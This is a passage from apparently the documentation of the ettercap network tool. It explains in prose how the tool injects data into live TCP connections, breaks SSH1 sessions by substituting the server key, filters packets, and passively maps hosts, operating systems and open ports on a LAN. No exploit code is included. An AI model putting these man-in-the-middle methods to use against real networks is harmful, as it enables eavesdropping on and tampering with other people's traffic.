"stolen" hosts, it stops the flooding process and performs an ARP request for the real destination of the packet. When it receives the ARP reply it's sure that the victim has "taken back" his port, so ettercap can re-send the packet to the destination as is. Now we can re-start the flooding process waiting for new packets. CHARACTERS INJECTION We have stated that the packets are for us... And the packets will not be received by destination until we forward them. But what happens if we change them? Yes, they reach destination with our modifications. We can modify, add, delete the content of these packets, by simply recalculating the checksum and substituting them on the traffic. But we can do also more: we can insert packets in the connection. We forge our packets with the right sequence and acknowledgement number and send them to the desired host. When the next packets will pass through us we simply subtract or add the sequence number with the amount of data we have injected till the connection is alive, preventing the connection to be rejected (this until we close ettercap, who maintains sequence numbers correct, after program exit, the connection must be RESET or all future traffic would be rejected, blocking the source workstation network). NOTE: Injector supports escape sequences. you can make multi-line injection eg: "this on line one \n this on line two \n and so on..." eg: "this in hex mode: \x65\x6c\x6c\x65" eg: "this in oct mode: \101\108\108\101" NOTE: remember to terminate your injection with \r\n if you want to inject command to the server. SSH1 MAN-IN-THE-MIDDLE When the connection starts (remember that we are the master-of-packets, all packets go through ettercap) we substitute the server public key with one generated on the fly and save it in a list so we can remember that this server has been poisoned before. Then the client send the packet containing the session key ciphered with our key, so we are able to decipher it and sniff the real 3DES session key. Now we encrypt the packet with the correct server public key and forward it to the SSH daemon. The connection is established normally, but we have the session key !! Now we can decrypt all the traffic and sit down watching the stream ! The connection will remain active even if we exit from ettercap, because ettercap doesn't proxy it (like dsniff). After the exchange of the keys, ettercap is only a spectator... ;) PACKET FILTERING Like character injection, we can modify the packets payload and replace the right sequence and acknowledgement number if needed. With the integrated filtering engine you can program your own filters to make the best filter for your aims. A scripting languages is used to make filters source that must be compiled with etterfilter(8) in order to be used by ettercap. PASSIVE SCANNING OF THE LAN This feature is very useful if you want to know the topology of the lan but you don't want to send any packet on it. In this way the scan is done entirely by sniffing packets and extracting useful information from them. This scan will let you know the hosts in the lan (it watches ARP request), the Operating System of the hosts (it uses passive os fingerprint... see next section), the open ports of an host (looking the SYN+ACK packet), the gateway, the routers or hosts acting as a router (it watches ICMP messages). As a passive method it is useless on a switched lan (because it can make a topology only of the host that are connecting to you), but if you put it on a gateway and let it run for hours or days, it will make a complete report of the hosts in the lan. PASSIVE OS FINGERPRINT The main idea is to analyze the passive information coming from a host when it makes or receives connections with other hosts. This information is enough to detect the OS and the running services of the host. In this scenario, we look at SYN and SYN+ACK packet and collect some interesting info from them: Window Size: the TCP header field MSS: the TCP option Maximum Segment Size (can be present or not) TTL: the IP header field Time To Live (rounded to the next power of 2) Window Scale: the TCP option indicating the Scale SACK: the TCP option for the Selective ACK NOP: if the TCP options contain a NOP DF: the IP header field Don't Fragment TIMESTAMP: if the TCP timestamp option is enabled and obviously the type of the packet (SYN or SYN+ACK) The database contains different fingerprints for each type of packet because some OSes have different fingerprints from SYN to SYN+ACK. Obviously the SYN fingerprint is more reliable, because the SYN+ACK is influenced by the SYN (if a SYN doesn't contain a SACK the SYN+ACK will not have the SACK option even if the host support it). So while collecting information off the lan, if we receive a SYN+ACK we mark the OS of that host as temporary and when we receive a SYN we confirm that. Fingerprints ending with an ":A" are less reliable... this is because some OS identification may change during the gathering process. The SYN+ACK packets are also used to discover the open ports of a host. (see next section) The interesting thing is that firewalls, gateways and NAT are transparent to passive OS detection. So collecting info for the LAN will let you know info even for remote hosts. Only proxies aren't transparent because they make a new connection to the target. Our fingerprint database has to be enlarged, so if you find a host with an unknown fingerprint and you know for sure the OS of that host, please mail us the fingerprint and the OS, we will insert in the database. OPEN PORTS Open ports are identified by looking for SYN+ACK packets. If a SYN+ACK comes from a port, it is for sure open, except for the channel command of FTP protocol, for that reason SYN+ACK going to port 20 are not used to indicate a open port. For the udp ports the question is a little bit difficult because no SYN or ACK packet are present in the udp protocol, so ettercap assumes that a udp port < 1024 that sends packets is opened. We know that in this way we cannot discover open ports > 1024 but they can go undetected as open when a client sends packet to a server. GATEWAY AND ROUTERS The gateway is simply recognized looking at IP packet with a non local ip ( checking the netmask ). If a non local IP is found, ettercap look at the ethernet address (MAC) and store it as the gateway mac address, then it search for it in the list and mark the corresponding ip as the gateway. Looking in the ICMP messages we can rely that if a host sends a TTL-exceeded or a redirect messages it is a router or an host acting as it. ============================================================================== vim:ts=3:expandtab